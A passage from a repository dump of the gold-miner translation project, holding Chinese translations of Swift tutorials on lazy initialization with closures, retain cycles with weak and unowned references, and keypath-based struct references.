UIView`。\n\n现在看看，上面的例子已经和我之前害怕的“非常规方式”一样了。\n\n### 使用闭包创建的好处\n\n我们已经讨论了直接创建对象的单调和使用构造函数带来的问题。现在你可能会想“为什么我非得用闭包来创建？”\n\n#### 重复起来更容易\n\n我不喜欢用 Storyboard，我比较喜欢复制粘贴用代码来创建 UI 对象。实际上，在我的电脑里有一个“代码库”。假设库里有个按钮，代码如下：\n\n```\nlet myButton: UIButton = {\n let button = UIButton(frame: buttonSize)\n button.backgroundColor = .black\n button.titleLabel?.text = \"Button\"\n button.titleLabel?.textColor = .white\n button.layer.cornerRadius = \n button.layer.masksToBounds = true\nreturn button\n}()\n```\n\n我只需要把它整个复制，然后把名字从 `myButton` 改成 `newButtom` 就行了。在我用闭包之前，我得重复地把 `myButton` 改成 `newButtom` ，甚至要改上七八遍。我们虽然可以用 Xcode 的快捷键，但为啥不使用闭包，让这件事更简单呢？\n\n#### 看起来更简洁\n\n由于对象对象会自己编好组，在我看来它更加的简洁。让我们对比一下：\n\n```\n// 使用闭包创建 \nlet leftCornerButton: UIButton = {\n let button = UIButton(frame: buttonSize)\n button.backgroundColor = .black\n button.titleLabel?.text = \"Button\"\n button.titleLabel?.textColor = .white\n button.layer.cornerRadius = \n button.layer.masksToBounds = true\nreturn button\n}()\n\nlet rightCornerButton: UIButton = {\n let button = UIButton(frame: buttonSize)\n button.backgroundColor = .black\n button.titleLabel?.text = \"Button\"\n button.titleLabel?.textColor = .white\n button.layer.cornerRadius = \n button.layer.masksToBounds = true\nreturn button\n}()\n```\n\nvs\n\n```\n// 手动创建\nlet leftCornerButton = UIButton(frame: buttonSize)\nleftCornerButton.backgroundColor = .black\nleftCornerButton.titleLabel?.text = \"Button\"\nleftCornerButton.titleLabel?.textColor = .white\nleftCornerButton.layer.cornerRadius = \nleftCornerButton.layer.masksToBounds = true\n\nlet rightCornerButton = UIButton(frame: buttonSize)\nrightCornerButton.backgroundColor = .black\nrightCornerButton.titleLabel?.text = \"Button\"\nrightCornerButton.titleLabel?.textColor = .white\nrightCornerButton.layer.cornerRadius = \nrightCornerButton.layer.masksToBounds = true\n```\n\n尽管使用闭包创建对象要多出几行，但是比起要在 `rightCornerButton` 或者 `leftCornerButton` 后面狂加属性，我还是更喜欢在 `button` 后面加属性。\n\n**实际上如果按钮的命名特别详细时，用闭包创建对象还可以少几行。**\n\n**恭喜你，你已经完成了我们的第一个目标**\n\n### 懒加载的应用\n\n辛苦了！现在让我们来看看这个教程的第二个目标吧。\n\n你可能看过与下面类似的代码：\n\n```\nclass IntenseMathProblem {\n lazy var complexNumber: Int = {\n  // 请想象这儿要耗费很多CPU资源\n  1 * 1\n }()\n}\n```\n\n`lazy` 的作用是，让 `complexNumber` 属性只有在你试图访问它的时候才会被计算。例如：\n\n```\nlet problem = IntenseMathProblem \nproblem()  // 此时complexNumber没有值\n```\n\n没错，现在 `complexNumber` 没有值。然而，一旦你访问这个属性：\n\n```\nproblem().complexNumber // 现在回返回1\n```\n\n`lazy var` 经常用于数据库排序或者从后端取数据，因为你并不想在创建对象的时候就把所有东西都计算、排序。\n\n**实际上，由于对象太大了导致 RAM 撑不住，你的手机就会崩溃。**\n\n### 应用\n\n以下是 `lazy var` 的应用：\n\n#### 排序\n\n```\nclass SortManager {\n lazy var sortNumberFromDatabase: [Int] = {\n  // 排序逻辑\n  return [1, 2, 3, 4]\n }()\n}\n```\n\n#### 图片压缩\n\n```\nclass CompressionManager {\n lazy var compressedImage: UIImage = {\n  let image = UIImage()\n  // 压缩图片的\n  // 逻辑\n  return image\n }()\n}\n```\n\n### `Lazy`的一些规定\n\n1. 你不能把 `lazy` 和 `let` 一起用，因为用 `lazy` 时没有初值，只有当被访问时才会获得值。\n2. 你不能把它和 `计算属性` 一起用，因为在你修改任何与 `lazy` 的计算属性有关的变量时，计算属性都会被重新计算（耗费 CPU 资源）。\n3. `Lazy` 只能是结构或类的成员。\n\n### Lazy 能被捕获吗？\n\n如果你读过我的前一篇文章[《Swift 闭包和代理中的循环引用》][9]，你就会明白这个问题。让我们试一试吧。创建一个名叫 `BobGreet` 的类，它有两个属性：一个是类型为 `String` 的 `name`，一个是类型为 `String` 但是使用闭包创建的 `greeting`。\n\n```\nclass BobGreet {\n var name = \"Bob the Developer\"\n lazy var greeting: String = {\n  return \"Hello, \\(self.name)\"\n }()\n\ndeinit { \n  print(\"I'm gone, bruh 🙆\")}\n }\n}\n```\n\n闭包**可能**对 `BobGuest` 有强引用，让我们尝试着 deallocate 它。\n\n```\nvar bobGreet: BobGreet? = BobClass()\nbobGreet?.greeting\nbobClass = nil // I'm gone, bruh 🙆\n```\n\n不用担心 `[unowned self]`，闭包并没有对对象存在引用。相反，它仅仅是在闭包内复制了 `self`。如果你对前面的代码声明有疑问，可以读读 [Swift Capture Lists][10] 来了解更多这方面的知识。👍\n\n### 最后的唠叨\n\n我在准备这篇教程的过程中也学到了很多，希望你也一样。感谢你们的热情❤️！不过这篇文章还剩一点：我的最后一个目标。如果你希望加入我的邮件列表以获得更多有价值的信息的话，你可以点 [**这里**][11]注册。\n\n正如封面照片所示，我最近买了 Magic Keyboard 和 Magic Mouse。它们超级棒，帮我提升了很多的效率。你可以在 [这儿][12]买鼠标，在 [这儿][13]买键盘。我才不会因为它们的价格心疼呢。😓\n\n> [本文的源码][14] \n\n### 我将要参加 Swift 讨论会 \n\n我将在 6 月 1 日至 6 月 2 日 参加我有生以来的第一次讨论会 @[SwiftAveir][15]， 我的朋友 [Joao][16]协助组织了这次会议，所以我非常 excited。你可以点[这儿][17]了解这件事 的详情！\n\n#### 文章推荐\n\n> 函数式编程简介 ([Blog][18])\n\n> 我最爱的 XCode 快捷键 ([Blog][19] )\n\n### 关于我 \n\n我是一名来自首尔的 iOS 课程教师，你可以在 [Instagram][20] 上了解我。我会经常在 [Facebook Page][21] 投稿，投稿时间一般在北京时间上午9点（Sat 8pm EST）。\n\n---\n\n> [掘金翻译计划][22] 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金][23] 上的英文分享文章。内容覆盖 [Android][24]、[iOS][25]、[React][26]、[前端][27]、[后端][28]、[产品][29]、[设计][30] 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划][31]。\n\n[1]:\thttps://blog.bobthedeveloper.io/swift-lazy-initialization-with-closures-a9ef6f6312c\n[2]:\thttps://blog.bobthedeveloper.io/@bobthedev\n[3]:\thttps://github.com/xitu/gold-miner\n[4]:\thttps://github.com/lsvih\n[5]:\thttps://boblee.typeform.com/to/oR9Nt2\n[6]:\thttps://blog.bobthedeveloper.io/no-fear-closure-in-swift-3-with-bob-72a10577c564\n[7]:\thttps://juejin.im/post/58e4ac5d44d904006d2a9a19\n[8]:\thttps://blog.bobthedeveloper.io/no-fear-closure-in-swift-3-with-bob-72a10577c564\n[9]:\thttps://juejin.im/post/58e4ac5d44d904006d2a9a19\n[10]:\thttps://blog.bobthedeveloper.io/swift-capture-list-in-closures-e28282c71b95\n[11]:\thttps://boblee.typeform.com/to/oR9Nt2\n[12]:\thttp://amzn.to/2noHxgl\n[13]:\thttp://amzn.to/2noHxgl\n[14]:\thttps://github.com/bobthedev/Blog_Lazy_Init_with_Closures\n[15]:\thttps://twitter.com/SwiftAveiro\n[16]:\thttps://twitter.com/NSMyself\n[17]:\thttp://swiftaveiro.xyz\n[18]:\thttps://blog.bobthedeveloper.io/intro-to-swift-functional-programming-with-bob-9c503ca14f13\n[19]:\thttps://blog.bobthedeveloper.io/intro-to-swift-functional-programming-with-bob-9c503ca14f13\n[20]:\thttps://instagram.com/bobthedev\n[21]:\thttps://facebook.com/bobthedeveloper\n[22]:\thttps://github.com/xitu/gold-miner\n[23]:\thttps://juejin.im\n[24]:\thttps://github.com/xitu/gold-miner#android\n[25]:\thttps://github.com/xitu/gold-miner#ios\n[26]:\thttps://github.com/xitu/gold-miner#react\n[27]:\thttps://github.com/xitu/gold-miner#%E5%89%8D%E7%AB%AF\n[28]:\thttps://github.com/xitu/gold-miner#%E5%90%8E%E7%AB%AF\n[29]:\thttps://github.com/xitu/gold-miner#%E4%BA%A7%E5%93%81\n[30]:\thttps://github.com/xitu/gold-miner#%E8%AE%BE%E8%AE%A1\n[31]:\thttps://github.com/xitu/gold-miner\n"
  },
  {
    "path": "TODO/swift-retention-cycle-in-closures-and-delegate.md",
    "content": "> * 原文地址：[Swift Retention Cycle in Closures and Delegate](https://blog.bobthedeveloper.io/swift-retention-cycle-in-closures-and-delegate-836c469ef128#.8z0z62321)\n> * 原文作者：[Bob Lee](https://blog.bobthedeveloper.io/@bobthedev?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[oOatuo](https://github.com/atuooo)\n> * 校对者：[Deepmissea](http://deepmissea.blue/), [gy134340](http://gy134340.com/)\n\n# Swift 闭包和代理中的保留周期 \n\n## 让我们一起来弄明白 [weak self]、[unowned self] 和 weak var ##\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*G9ICr1PGK9UexE3uAnavOQ.png\">\n\n迷航的船\n\n### 疑问\n\n当我第一次遇到闭包和代理时，我注意到人们在闭包中声明 `[weak self]`，在委托属性前声明 `weak var`。我想知道为什么。\n\n### 前提\n\n这不是一篇给初学者的教程。以下列表是我期望我的读者知道的。\n\n1. **如何通过代理在两个视图控制器间传值**\n2. **在 Swift 中使用 ARC 管理内存**\n3. 闭包捕获列表\n4. **协议作为类型**\n\n如果你不是很熟悉上面的知识点，别担心。我以前的文章和 YouTube 教程涵盖了所有这些知识。你可以在 [这里](https://learnswiftwithbob.com/RESOURCES.html) 找到所需的知识以及我高效的开发工具。\n\n### Objectives ###\n\n首先，你将了解到为什么我们要在代理中使用 `weak var`。接着，你将知道何时在闭包中使用 `[weak self]` 和 `[unowned self]`。\n\n**我想要这篇内容更加进阶，我们一起进步吧。**\n \n### 代理中的保留周期 ###\n\n首先，我们创建一个 `SendDataDelegate` 的代理。\n\n    protocol SendDataDelegate: class {}\n\n然后，我们创建一个 `SendingVC ` 的类，并添加一个类型是 `SendDataDelegate?` 的属性。\n\n    class SendingVC {\n     var delegate: SendDataDelegate?\n    }\n\n最后，将这个代理指向另一个类。\n\n    class ReceivingVC: SendDataDelegate {\n     lazy var sendingVC: SendingVC = {\n      let vc = SendingVC()\n      vc.delegate = self // self refers to ReceivingVC object\n      return vc\n     }()\n\n    deinit {\n     print(\"I'm well gone, bruh\")\n     }\n    }\n\n**你可能会被 `lazy` 的初始化方法所困扰。那么，你可以先自己研究下，或者可以等我的下一篇文章。**\n\n现在，我们创建一个实例。\n\n    var receivingVC: ReceivingVC? = ReceivingVC()\n\n#### 我来梳理一下\n\n首先，`receivingVC` 是 `ReceivingVC()` 的一个实例，`ReceivingVC()` 有一个属性 `ReceivingVC()`。\n\n然后，`sendingVC` 是 `SendingVC()` 的一个实例，`SendingVC()` 有一个属性 `delegate`。\n\n我画了个简单的关系图，方便你们理解。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*xCtLEY2ud9Mq97S1tQPz4g.png\">\n\n循环强引用和内存泄漏\n\n**请确保你熟悉强引用和弱引用的涵义。如果不了解的话，你可以看这篇文章 [Make Memory Management Great Again](https://blog.bobthedeveloper.io/make-memory-management-great-again-f781fb29cea1#.2dv5zisgd)。**\n\n在上面的例子中，`ReceivingVC` 和 `SendingVC` 之间存在强引用。虽然 `ReceivingVC` 引用的是 `delegate` 属性，而不是 `SendingVC`，**它仍被认为引用了该对象，因为你必须持有一个对象才能访问它的方法和属性。**\n\n如果您尝试下面的代码，不会有任何反应。\n\n    var receivingVC = nil // 不会被释放\n\n### 介绍 weak var\n\n我们唯一要做的就是把 `weak` 写在 `var delegate` 的前面。\n\n    class SendingVC {\n     weak var delegate: SendDataDelegate?\n    }\n\n**没有 `weak let` 这种写法**。当你使用 `weak` 来声明时，就像上面代理属性一样，这个属性应该是可选的和可变的，以便将其置为 `nil`，或者赋值给这个代理属性。因此，`let` 是不允许的。\n\n让我们来看看现在的引用关系图。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*y87pKaXDgoT9EfEQDbLBmg.png\">\n\ndelegate 持有 ReceivingVC 的弱引用。\n\n让我们试着释放它。\n\n    receivingVC = nil \n    // \"I'm well gone, bruh\"\n\n**你只需在代理的对象是个类的时候使用 `weak`**。Swift 中的结构体和枚举类型是值类型，不是引用类型，所以它们不会造成循环强引用。如果你不熟悉协议，可以看下这篇文章：[介绍面向协议编程](https://blog.bobthedeveloper.io/introduction-to-protocol-oriented-programming-in-swift-b358fe4974f)。\n\n**恭喜！你已经完成了第一个目标，让我们来看下一个。**\n\n### 闭包中的保留周期\n\n现在，让我们一起看下第二个目标。我们的目的是弄明白为什么要在一个闭包中使用 `[weak self]`。首先，我们创建一个 `BobClass` 的类。它包含两个 `String` 和 `(() -> ())?` 类型的属性。\n\n    class BobClass {\n     var bobClosure: (() -> ())? \n     var name = “Bob”\n\n     init() {\n      self.bobClosure = { print(“Bob the Developer”) }\n     }\n\n     deinit {\n      print(“I’m gone... ☠️”)\n     }\n\n    }\n\n创建一个实例。\n\n    var bobClass: BobClass? = BobClass()\n\n我们来看下关系图。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*vyG--bpwZDKNLGFpfYLPCA.png\">\n\n没有循环引用，是单向的。\n\n**正如你所注意到的，闭包的代码块是整个类的单独的实体**\n\n让我们销毁它\n\n    bobClass = nil // 被销毁了。。。☠️\n\n一切运行正常。但是，现实和理想总是有差距的。如果这个闭包持有该属性的引用怎么办？\n\n    init() {\n     self.bobClosure = { print(\"\\(**self.name**) the Developer\") }\n    }\n\n我们看下关系图\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*VeT_-gsbNFhTvPa-JnA4UQ.png\">\n\n闭包和 BobClass 间的循环强引用\n\n让我们销毁它\n\n    bobClass = nil // 没有被销毁 😱\n\n这很严重。我们需要做些事情。\n\n### 捕获列表\n\n我们有一种方法可以将闭包与对象(self)间的引用关系置为 “weak”，那就是捕获列表。\n\n    self.bobClosure = { [weak self] in\n     print(\"\\(self?.name) the Developer\")\n    }\n\n闭包拿走并复制了这对象(self)。但是，这个闭包只是弱持有了它。\n\n我们看下关系图。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*Zq_QhNaclXkhIraYb2wTKQ.png\">\n\n闭包弱持有了对象，因此，也弱持有了该属性。\n\n**如果你不理解 `[]` 在上面的闭包中做了什么，你可以看完这篇 [Swift capture list](https://blog.bobthedeveloper.io/swift-capture-list-in-closures-e28282c71b95#.hys3jq1jk) 文章再回来。**\n\n**一些奇怪的事情**\n\n突然间，`self`（对象）成了可选类型，写成 **`self?.name`**。这就是为什么闭包能够通过在代码块中将 `self` 置为 `nil` 来断开引用（绿色箭头），因为关系是 `weak`。因此，Swift 会自动将 `self` 转换为可选类型。\n\n我们来试着销毁它\n\n    bobClass = nil // I'm gone...☠️\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*R5nZJi9BngMeia-dQXyhUQ.png\">\n\n很好\n\n**祝贺，你完成了第二个。但是，还有一个：Unowned。**\n\n### Unowned\n\n你们中一些人可能会说，“还有一个？不是吧，Bob”。是的，还有一个。你已经走了很长的路，让我们坚持走完。\n\n`weak` 和 `unowned` 是一样的，除了一点，不像我们所看到的 `weak` 那样，在闭包中，`unowned` 不会自动将 `self` 转化成 可选类型。\n\n例如，如果我创建一个正常的实例而不是一个可选的类型。\n\n    var neverNilClass: BobClass = BobClass()\n\n这里没有理由去使用 `weak`，因为如果你这样做，这个闭包会捕获 `self` 作为一个可选的类型，然后你需要像下面那样去解包，这其实没必要。\n\n    self.bobClosure = { [weak self] in\n\n    guard let object = self else {\n      return \n     }\n\n    print(\"\\(object.name) the Developer\")\n    }\n\n相反，如果你 100％ 确定 `self` 永远不会变成 'nil'，那么只需这样：\n\n    self.bobClosure = { [unowned self] in\n     print(\"\\(self.name) the Developer\")\n    }\n\n> **就这样。**\n\n### 写在最后\n\n我希望你们看得开心！另外，我最近将我的博客的名字从 iOS Geek Community 改成了 Bob the Developer。有两个原因，第一，之前的名字不符合只有我一个作者的事实。第二，我想将我个人品牌提高到一定的程度，让你们能够将 Swift 和 Bob the Developer 联系起来。\n\n如果你有所收获，请点击下面或左边的 ❤️ ，我会很感激。我之前在想要不要放那些关系图，因为它需要花费更多的时间，但为了我可爱的 Medium 读者们，一切都值得。\n\n### 资源\n\n> [给 iOS 开发者的资源](https://learnswiftwithbob.com/RESOURCES.html)\n\n> [源码](https://github.com/bobthedev/Blog_Reference_Cycle_Delegate_Closures)\n\n### 关于 Bob the Developer\n\n我正在努力提供价格合理的教育工作，并且我已经开始 iOS 开发的教学。[bobthedeveloper.io](https://bobthedeveloper.io)[Facebook](https://facebook.com/bobthedeveloper), [Instagram](https://instagram.com/bobthedev), [YouTube](https://youtube.com/bobthedeveloper), [LinkedIn](https://linkedin.com/in/bobthedev)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。"
  },
  {
    "path": "TODO/swift-struct-references.md",
    "content": "\n> * 原文地址：[Struct References](http://chris.eidhof.nl/post/references/)\n> * 原文作者：[Chris Eidhof](https://twitter.com/chriseidhof/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/swift-struct-references.md](https://github.com/xitu/gold-miner/blob/master/TODO/swift-struct-references.md)\n> * 译者：[Swants](https://swants.github.io)\n> * 校对者：[ChenDongnan](https://github.com/ChenDongnan) [FlyOceanFish](https://github.com/FlyOceanFish) \n\n# 结构体指针\n\n> 所有的代码都可以在 [gist](https://gist.github.com/chriseidhof/3423e722d1da4e8cce7cfdf85f026ef7) 上获取。\n\n最近我打算为 Swift 的最新的 keypaths 找一个好的使用场景，这篇文章介绍了我意外获得的一个使用示例。这是我刚研究出来的，但还没实际应用在生产代码上的成果。也就是说，我只是觉得这个成果非常酷并想把它展示出来。\n\n思考一个简单的通讯录应用，这个应用包含一个展示联系人的列表视图和展示联系人实例的详情视图控制器。如果把 `人` 定义成一个类的话，大概是这个样子：\n\n    class Person {\n        var name: String\n        var addresses: [Address]\n        init(name: String, addresses: [Address]) {\n            self.name = name\n            self.addresses = addresses\n        }\n    }\n\n    class Address {\n        var street: String\n        init(street: String) {\n            self.street = street\n        }\n    }\n\n\n我们的（假设）viewController  有一个通过初始化方法设置的 person 属性。这个类还有一个 `change` 方法来修改这个人的属性。\n\n    final class PersonVC {\n        var person: Person\n        init(person: Person) {\n            self.person = person\n        }\n\n        func change() {\n            person.name = \"New Name\"\n        }\n    }\n\n\n让我们思考下当 `Person` 初始化为一个对象后遇到的问题：\n\n- 因为 `person` 是一个指针，其他部分的代码就可能修改它。这是非常实用的，因为这让消息传递成为了可能。而与此同时，我们需要保证我们可以一直监听的到这些改变（比如使用 KVO ），否则我们可能会遇到数据不同步的问题。但保证我们能够实时监听则是不容易实现的。\n- 当地址发生变化时，收到通知就更难了。观察嵌套的对象属性则是最困难的。\n- 如果我们需要给 `Person` 创建一个独立的本地 copy，我们就需要实现一些像 `NSCopying` 这样的东西， 这需要不少的工作量。甚至当我们决定这么做时，我们仍然不得不考虑是想要深拷贝（地址也被拷贝）还是浅拷贝（地址数组是独立的，但是里面的地址仍指向相同的对象）？\n- 如果我们把 `Person` 当成 `AddressBook` 数组的元素，我们可能想要知道通讯录什么时候做了修改（比如说进行排序）。而想要知道你的对象图中的东西何时做了改变要么需要大量的样板，要么需要大量的观察。\n\n如果 `Person` 和 `Address` 做成结构体的话，我们又会碰到不同的问题：\n\n- 每个结构体都是独立的拷贝。这是有用的，因为我们知道它总是一致的，不会在我们手底下改变。然而，当我们在详情控制器 中对 `Person` 做了修改时。我们就需要一个方法来将这些改变反馈给列表视图（或者说通讯录列表）。而对于对象，这种情况会自动发生（通过在适当的位置修改 `Person` ）。\n- 我们可以观察通讯录结构体的根地址，从而知道通讯录发生的任何变化。然而，我们还是不能很容易得观察到它内部属性的变化（比如：观察第一个人的名字）。\n\n我现在提出的解决方案结合了两个方案的最大优势：\n\n- 我们有可变的共享指针\n- 因为底层数据是结构体，所以我们可以随时得到我们自己的独立拷贝\n- 我们可以观察任何部分：无论在根级别，还是观察独立的属性（例如第一个人的名字）\n\n我接下来会演示这个方案怎么使用，如何工作，最后再说说方案的局限性和问题。\n\n让我们用结构体来创建一个通讯录。\n\n    struct Address {\n        var street: String\n    }\n    struct Person {\n        var name: String\n        var addresses: [Address]\n    }\n\n    typealias Addressbook = [Person]\n\n\n现在我们可以使用我们的 `Ref` 类型（ `Reference` 的简称）。\n我们用一个初始化的空数组来创建一个新的 `addressBook`。然后添加一个 `Person` 。接下来就是最酷的地方：通过使用下标我们可以获得指向第一个人的 **指针** ，接着是一个指向他们名字的 **指针** 。我们可以将指针指向的内容改为 `“New Name\"` 来验证我们是否更改了原始的通讯录。\n\n    let addressBook = Ref<Addressbook>(initialValue: [])\n    addressBook.value.append(Person(name: \"Test\", addresses: []))\n    let firstPerson: Ref<Person> = addressBook[0]\n    let nameOfFirstPerson: Ref<String> = firstPerson[\\.name]\n    nameOfFirstPerson.value = \"New Name\"\n    addressBook.value // shows [Person(name: \"New Name\", addresses: [])]\n\n\n`firstPerson` 和 `nameOfFirstPerson` 类型可以被忽略，它们仅仅是为了增加代码可读性。\n\n无论何时我们都可以对 `Person` 内容进行独立备份。一旦你做了拷贝，我们就可以使用 `myOwnCopy` ，并且不必实现 `NSCopying` 就能保证它的内容不会在我们手底下改变：\n\n    var myOwnCopy: Person = firstPerson.value\n\n\n我们可以监听任何 `Ref` 。就像 reactive 库一样，我们得到了一个可以控制观察者生命周期的一次性调用：\n\n    var disposable: Any?\n    disposable = addressBook.addObserver { newValue in\n        print(newValue) // Prints the entire address book\n    }\n\n    disposable = nil // stop observing\n\n\n我们也可以监听 `nameOfFirstPerson` 。在目前的实现中，无论什么时候通讯录中的任何改变都会触发监听，但以后的实现会有更多的功能。\n\n    nameOfFirstPerson.addObserver { newValue in\n        print(newValue) // Prints a string\n    }\n\n\n让我们返回我们的 `PersonVC` 。我们可以使用 `Ref` 作为他的实现。 这样 viewController 就可以收到每一次更改。在响应式编程中，信号通常是只读类型的（你只会收到发生了变化的信息），这时你就需要找到另一种回传信号的方法。 在 `Ref` 方案中，我们可以使用 `person.value` 进行回写：\n\n    final class PersonVC {\n        let person: Ref<Person>\n        var disposeBag: Any?\n        init(person: Ref<Person>) {\n            self.person = person\n            disposeBag = person.addObserver { newValue in\n                print(\"update view for new person value: \\(newValue)\")\n            }\n        }\n\n        func change() {\n            person.value.name = \"New Name\"\n        }\n    }\n\n\n这个 `PersonVC` 不知道 `Ref <Person> `是从哪里获得的：是从一个 person 数组，一个数据库或者其他地方。实际上，我们可以通过将我们的数组包装在 [`History` 结构体](http://chris.eidhof.nl/post/undo-history-in-swift/) 中来撤销对我们通讯录的支持。\n这样我们就不再需要修改 `PersonVC`：\n\n    let source: Ref<History<Addressbook>> = Ref(initialValue: History(initialValue: []))\n    let addressBook: Ref<Addressbook> = source[\\.value]\n    addressBook.value.append(Person(name: \"Test\", addresses: []))\n    addressBook[0].value.name = \"New Name\"\n    print(addressBook[0].value)\n    source.value.undo()\n    print(addressBook[0].value)\n    source.value.redo()\n\n\n我们还可以为它添加其他的很多东西：缓存，[序列化](https://gist.github.com/chriseidhof/40fde6c2be5519d5bb341fc65b3029ad)，自动同步（比如只在子线程上修改和观察），但这都是之后的工作。\n\n### 实现细节\n\n我们来看看这个事情是如何实现的。我们首先从 `Ref` 类的定义开始。\n`Ref` 包含一个获取值和一个设置值的方法，以及添加一个观察者的方法。它有一个需要三个参数的初始化方法：\n\n    final class Ref<A> {\n        typealias Observer = (A) -> ()\n\n        private let _get: () -> A\n        private let _set: (A) -> ()\n        private let _addObserver: (@escaping Observer) -> Disposable\n\n        var value: A {\n            get {\n                return _get()\n            }\n            set {\n                _set(newValue)\n            }\n        }\n\n        init(get: @escaping () -> A, set: @escaping (A) -> (), addObserver: @escaping (@escaping Observer) -> Disposable) {\n            _get = get\n            _set = set\n            _addObserver = addObserver\n        }\n\n        func addObserver(observer: @escaping Observer) -> Disposable {\n            return _addObserver(observer)\n        }\n    }\n\n\n现在我们可以添加一个可以观察单个结构体值的初始化方法。它创建了一个观察者和变量对应的字典。这样无论变量什么时候被修改了，所有的观察者都会被通知到。它使用上述定义的初始化方法，并传递给 `get`, `set`, 和 `addObserver`:\n\n    extension Ref {\n        convenience init(initialValue: A) {\n            var observers: [Int: Observer] = [:]\n            var theValue = initialValue {\n                didSet { observers.values.forEach { $0(theValue) } }\n            }\n            var freshId = (Int.min...).makeIterator()\n            let get = { theValue }\n            let set = { newValue in theValue = newValue }\n            let addObserver = { (newObserver: @escaping Observer) -> Disposable in\n                let id = freshId.next()!\n                observers[id] = newObserver\n                return Disposable {\n                    observers[id] = nil\n                }\n            }\n            self.init(get: get, set: set, addObserver: addObserver)\n        }\n    }\n\n\n想一下我们现在已经有 `Person` 指针，为了拿到 `Person name`  属性的指针，我们需要一种方式来对 name 进行读写操作。而 `WritableKeyPath` 恰好可以做到。因此，我们可以在 `Ref` 中添加一个`subscript` 来创建可以指向 `Person` 某一部分的指针：\n\n    extension Ref {\n        subscript<B>(keyPath: WritableKeyPath<A,B>) -> Ref<B> {\n            let parent = self\n            return Ref<B>(get: { parent._get()[keyPath: keyPath] }, set: {\n                var oldValue = parent.value\n                oldValue[keyPath: keyPath] = $0\n                parent._set(oldValue)\n            }, addObserver: { observer in\n                parent.addObserver { observer($0[keyPath: keyPath]) }\n            })\n        }\n    }\n\n\n上面的代码有一点难于理解，但如果只是为了使用这个库，我们不需要真的弄明白它是怎么实现的。\n\n也许某一天，Swift 中的 keypath 也会支持下标，但至少现在没有，接下来我们必须为集合添加另外一个下标。除了使用索引而不是 keypath ，它的实现几乎就跟上面的一样。\n\n    extension Ref where A: MutableCollection {\n        subscript(index: A.Index) -> Ref<A.Element> {\n            return Ref<A.Element>(get: { self._get()[index] }, set: { newValue in\n                var old = self.value\n                old[index] = newValue\n                self._set(old)\n            }, addObserver: { observer in\n                    self.addObserver { observer($0[index]) }\n            })\n        }\n    }\n\n\n这就是全部实现了。上面代码使用了 Swift 大量新特性，但它仍保持在 100 行代码以下。如果没有 Swift 4 最新功能，这也基本不可能实现。它依赖于 keypaths ，通用下标，开放范围以及以前在 Swift 中提供的许多功能。\n\n### 讨论\n\n就如之前所提到的那样，这些仍处于研究中而不是生产级的代码。一旦我开始在一个真正的应用程序中使用它，我非常感兴趣想知道将来会遇到什么样问题。 下面就是其中一个让我感到困惑的代码段：\n\n    var twoPeople: Ref<Addressbook> = Ref(initialValue:\n        [Person(name: \"One\", addresses: []),\n         Person(name: \"Two\", addresses: [])])\n    let p0 = twoPeople[0]\n    twoPeople.value.removeFirst()\n    print(p0.value) // what does this print?\n\n\n我很有兴趣将它更进一步。我甚至可以想象的到，如果我为他添加队列支持，你就可以像下面那样使用：\n\n    var source = Ref<Addressbook>(initialValue: [],\n        queue: DispatchQueue(label: \"private queue\"))\n\n\n我还能想象的到你可以用它和数据库搭配使用。这个 `Var` 将会让你同时支持读写操作，并订阅任何修改的通知：\n\n    final class MyDatabase {\n       func readPerson(id: Person.Id) -> Var<Person> {\n       }\n    }\n\n\n我期待着听到您的评论和反馈，如果你需要更深入的理解它是如何工作的，试着自己去实现它（即便你已经看了代码）。顺便提一下，我们将会以它为主题开展两场 [Swift Talk](http://talk.objc.io/)。如果你对 Florian 和我从头开始构建这个项目感兴趣，就订阅它吧。\n\n> 更新： 感谢 Egor Sobko 指出了一个微妙但却至关重要的错误:我为观察者发送的是 `initialValue` 而不是 `theValue`，已修改!\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/swift-testability.md",
